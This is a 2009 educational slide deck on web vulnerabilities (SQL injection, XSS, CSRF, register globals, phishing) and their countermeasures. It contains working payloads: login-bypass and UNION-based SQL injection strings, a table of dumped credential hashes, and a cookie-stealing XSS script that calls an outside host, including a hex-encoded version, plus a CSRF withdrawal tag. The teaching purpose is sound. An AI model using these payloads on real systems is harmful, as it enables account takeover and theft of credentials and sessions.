Web Application
Vulnerabilities Analysis & Countermeasures

Willy Sudiarto Raharjo
willysr@gmail.com
Auditorium Koinonia UKDW, March 21 2009
Willy Sudiarto Raharjo

- **Formal education**
  - 2001-2005 : UKDW (S1)
  - 2007-2008 : UGM (S2)

- **Sub Activities**
  - Indonesian Linux Forum Administrator
  - Indonesian OpenOffice.org Native Lang Coordinator

- **Huge fans of Linux (Slackware)**

- [http://willysr.blogspot.com](http://willysr.blogspot.com)
- [http://slackblogs.blogspot.com](http://slackblogs.blogspot.com)
All information, tools, methods presented here are given for educational or security awareness purposes.

The speaker take no responsibilites for any actions conducted or damage caused by the use or misuse of this information by the audience.
Why Web?

Based on Survey by NetCraft, 2006

101.435.253 Sites
2,5 years later....

Based on Survey by NetCraft, March 2009
World of CMS

- Plone™
- Alfresco™
- phpWCMS
- magnolia
- Drupal
- Bricolage
- Hippo
- OpenCMS
Dot-Com and Web 2.0 Effect
Web Vulnerabilities

- Register Globals
- SQL Injection
- HTML Injection / Cross-Site Scripting (XSS)
- Cross-site request forgeries (CSRF)
- Parameter manipulation
  - Cookies, Form Fields, Query Strings, HTTP Header
- Remote file include
- Username enumeration
Web Vulnerabilities Percentage

- Cross-site Scripting: 59.26%
- Insufficient Authentication: 1.88%
- Insufficient Authorization: 1.73%
- Predictable Resource Location: 4.61%
- Content Spoofing: 5.96%
- SQL Injection: 8.12%
- Information Leakage: 5.90%
- Other: 12.55%
Web Vulnerabilities by Attack Technique

Web Application Vulnerabilities by Attack Technique

- Cross-site Scripting
- SQL Injection
- File Include
- Others

Year:
- 2006
- 2007
- 2008 H1
Web Vulnerabilities

- Register Globals
- SQL Injection
- HTML Injection / Cross-Site Scripting (XSS)
- Cross-site request forgeries (CSRF)
- Parameter manipulation
  - Cookies, Form Fields, Query Strings, HTTP Header
- Remote file include
- Username enumeration
Register Global

- Register EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables
- Gives you direct access to variable(s)
- Use $variableName to get the value from query string/post data

http://www.example.com/index.php?name=Willy

- $name will give you -> Willy
Register Globals

```
<?php
if (authenticated_user())
{
    $authorized = true;
}
if ($authorized)
{
    include '/highly/sensitive/data.php';
}
?>
```

- Countermeasures:
  - Disable register global in php.ini
  - Use pre-defined variables
Predefined Variables

- $GLOBALS
- $_SERVER
- $_GET
- $_POST
- $_FILES
- $_REQUEST
- $_SESSION
- $_ENV
- $_COOKIE
if (isset($_GET['name']))
{
    $name = sanitize($_GET['name']);
}

function sanitize($input)
{
    // do something with $input
}
• Register Globals
• **SQL Injection**
• **HTML Injection / Cross-Site Scripting (XSS)**
• **Cross-site request forgeries (CSRF)**
• Parameter manipulation
  • Cookies, Form Fields, Query Strings, HTTP Header
• Remote file include
• Username enumeration
SQL Injection

- Most common vulnerabilities
- Cross platform
- Cross language
- Cross products
- Lack of input filter
- Adds malicious SQL
- Alter data
- Gain access
POC (PHP)

SQL Code:

```php
$query = "SELECT * 
FROM user 
WHERE username='" . $user . "' AND 
password=password('" . $passwd . "');
```

Input (no password required):

coba' OR 1='1

Output:

```php
$query = "SELECT * 
FROM user 
WHERE username='coba' OR 1='1' AND 
password=password('')
```

Assumption: username is known

AND part will be executed first
Let's Try Another One

SQL Code:
$\text{query} = \text{'SELECT * FROM user where username='} . \text{$user} . \text{' AND password=password('} . \text{$passwd} . \text{'\')'}$;

Input (no password required):
' ' OR 1='1' -- We do not need to know the username

Output:
$\text{query} = \text{"SELECT * FROM user WHERE username=''} \text{ OR 1='1' -- AND password=password(''}\text{"\')$}
Another trick

SQL Code:

```sql
$query = "SELECT * 
FROM user where username='' . $user . " AND 
password=password(" . $passwd . ")";
```

Input (no password password):

```
' OR 1='1' -- We do not need to know the username 
coba' --
```

Output:

```sql
$query = "SELECT * 
FROM user 
WHERE username='' OR 1='1' -- AND 
password=password('')
```
Real World Example
As long as the userID and Password are not NULL, it will pass
A little “trick” and voila.....

We Got Access!!
http://www.example.com/index.php?action=news.detail&id_news=6%20union%20select%20concat(username,0x3a,password),2,3%20from%20account_table%20--

<table>
<thead>
<tr>
<th>Date</th>
<th>Hash</th>
<th>Pass</th>
</tr>
</thead>
<tbody>
<tr>
<td>10.10.2005</td>
<td>o:61e16bf47fbf712c3d3cf65bb2d9bd98</td>
<td>sekretariat1</td>
</tr>
<tr>
<td>10.10.2005</td>
<td>root:d74bd552e799f966bca38297800fe9d</td>
<td>changeme</td>
</tr>
<tr>
<td>10.10.2005</td>
<td>redaksi:4cb9c8a8048fd02294477fc0b1a41191</td>
<td></td>
</tr>
<tr>
<td>10.10.2005</td>
<td>sekretariat:14126872b45a240cd2c876b564221543</td>
<td></td>
</tr>
</tbody>
</table>
Countermeasures

- Filter all inputs
- User regular expressions for specific input
- Character escaping
  - Addslashes
  - `mysql_real_escape_string`
- Use stored procedure/prepared statement
- Limit privilege on database account
- Suppress error messages
- Use better hashing algorithm and/or salting
$id=strip_tags($_GET['id']);
if (preg_match("/[\d]+/", $id))
{
    // it's all OK
}
else
{
    // we might have intruders
}
Verbose Error Message

**Warning:** mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sloki/user/t19362/sites/usk.ac.id/www/class.MySql.php on line 32

**Warning:** mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sloki/user/t19362/sites/usk.ac.id/www/class.MySql.php on line 32

**Warning:** mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sloki/user/t19362/sites/usk.ac.id/www/class.MySql.php on line 32

- You get detailed target system:
  - Operating system (Linux/Unix)
  - DBMS (MySQL)
  - Related file (MySql.php)

- Countermeasures:
  - reduce error reporting
  - Use better exception handling
  - Use uncommon file extension
```php
<?php

function salt($pass)
{
    $key = "secret";
    return sha1($pass) . sha1($key);
}

function encrypt($pass)
{
    return sha1($pass);
}

echo encrypt("password");
echo "<br/>";
echo salt("password");
?>
```
Learning Tools

- http://sectools.org/web-scanners.html
SQL Injection Cheat Sheet

- http://ha.ckers.org/sqlinjection/
- http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

More techniques will be developed in the future
Web Vulnerabilities

- Register Globals
- SQL Injection
- HTML Injection / Cross-Site Scripting (XSS)
- Cross-site request forgeries (CSRF)
- Parameter manipulation
  - Cookies, Form Fields, Query Strings, HTTP Header
- Remote file include
- Username enumeration
Cross-Site Scripting (XSS)

- Inject malicious code to valid page
  - Usually HTML/Javascript code
- Valid user will see and load the malicious code
- Attacker gain information
- May be combined with phising
  - Masquerading as a trustworthy entity
  - Collecting sensitive information from target
  - Usually in form of promotion or email notifications
- Exploit user's trust for a particular site
Phising Example

1. Questionable Sender’s Address

2. Sense of Urgency

3. Non-US Dating Format

4. Threat!

5. Link & URL in Status Bar Doesn’t Match
Another Phishing Examples

From: update@paypal.com
Subject: PayPal® Account Review Department
Date Sent: 12/5/07 12:40 AM
TO: simonepa@sebnc.org
CC: 
Attachments: None

Anatomy of a Phishing Spam Email

PayPal

Dear PayPal® customer,

We recently reviewed your account, and we suspect an unauthorized transaction on your account. Protecting your account is our primary concern. As a preventive measure we have temporary limited your access to sensitive information. PayPal features. To ensure that your account is not compromised, simply hit "Resolution Center" to confirm your identity as member of Paypal.

- Login to your Paypal with your Paypal username and password.
- Confirm your identity as a card memeber of Paypal.

Please confirm account information by clicking here Resolution Center and complete the "Steps to Remove Limitations."

*Please do not reply to this message. Mail sent to the above is not secure."

http://u4wvpstg.paypal-user-update.com/eg/user

Actual URL link sent to non paypal.com fake domain
Real MyBank Server
http://www.mybank.com/

Attackers Code Server
http://evilsite.com/phishing/fakepage.htm

Customer
Isi Buku Tamu

Nama: 
Email: 
Kota: 
Kategori: Umum

Pesan / Komentar:
<script>document.location.href="http://www.google.com"
</script>
Or Even This??

HEX %3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%2E%65%78%61%6D%70%6C%65%2E%63%67%69%3F%20%2B%63%6F%6E%74%2E%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%63%67%69%3F%27%2F%73%63%72%69%70%74%3E

<script>document.location='http://www.example.com/cgi-bin/cookie.cgi?' +document.cookie</script>
Countermeasures

- Filter all user input (HEX/ASCII)
- Query strings / URL
- Submitted form
- Cookies
- Generate more unique session ID
- Add checksum from IP
- Encode input parameter
XSS Resource

- http://www.virtualforge.de/vmovies/xss_selling_platform_v1.0.php
- http://www.xssed.com/
- http://www.technicalinfo.net
- https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- http://ha.ckers.org/xss.html
Web Vulnerabilities

- Register Globals
- SQL Injection
- HTML Injection / Cross-Site Scripting (XSS)
- Cross-site request forgeries (CSRF)
- Parameter manipulation
  - Cookies, Form Fields, Query Strings, HTTP Header
- Remote file include
- Username enumeration
Cross-site Request Forgery

● Unauthorized commands are transmitted from a user that the website trusts

● Exploits the trust that a site has for a particular user (different with XSS)

● Trick victim to commit something without his/her authorization

<img src="http://bank.com/withdraw?account=123&amount=10000&for=345">
Cross-site Request Forgery

Untrusted Link:
“get rich quick!”

untrusted site

Cross Site Request Forgery

http://www.example.com/?
c=DeleteAccount

Trusted Link:
“are you sure you want to delete your account?”

Vulnerable Page:
DeleteAccount

test.com
Countermeasures

- **Developer**
  - Check HTTP_REFERER header
  - Limit the authentication cookies (timeout)

- **Clients**
  - Avoid using “Remember Me” feature
  - Do not commit e-commerce / banking transactions while opening other URL
  - Always verify hyperlinks
  - For secure website, verify the certificate
You are connected to **paypal.com**
which is run by **PayPal, Inc.**
San Jose
California, US
Verified by: VeriSign, Inc.

Your connection to this web site is encrypted
to prevent eavesdropping.

### Certificate Viewer: "www.paypal.com"

<table>
<thead>
<tr>
<th>Certificate Details</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Issued To</strong></td>
</tr>
<tr>
<td>Common Name (CN)</td>
</tr>
<tr>
<td>Organization (O)</td>
</tr>
<tr>
<td>Organizational Unit (OU)</td>
</tr>
<tr>
<td><strong>Issued By</strong></td>
</tr>
<tr>
<td>Common Name (CN)</td>
</tr>
<tr>
<td>Organization (O)</td>
</tr>
<tr>
<td>Organizational Unit (OU)</td>
</tr>
<tr>
<td><strong>Validity</strong></td>
</tr>
<tr>
<td>Issued On</td>
</tr>
<tr>
<td>Expires On</td>
</tr>
<tr>
<td><strong>Fingerprints</strong></td>
</tr>
</tbody>
</table>
Conclusion

- Web application are very popular (to hack)
- Lots of techniques and tools are available
- Good application is NOT enough!
- You MUST write Good and Secure Application
- Keep up to date with security-related news/event

“Yesterday is history, Tomorrow is a mystery. Today is a gift, that is why we call it the present”
Thank you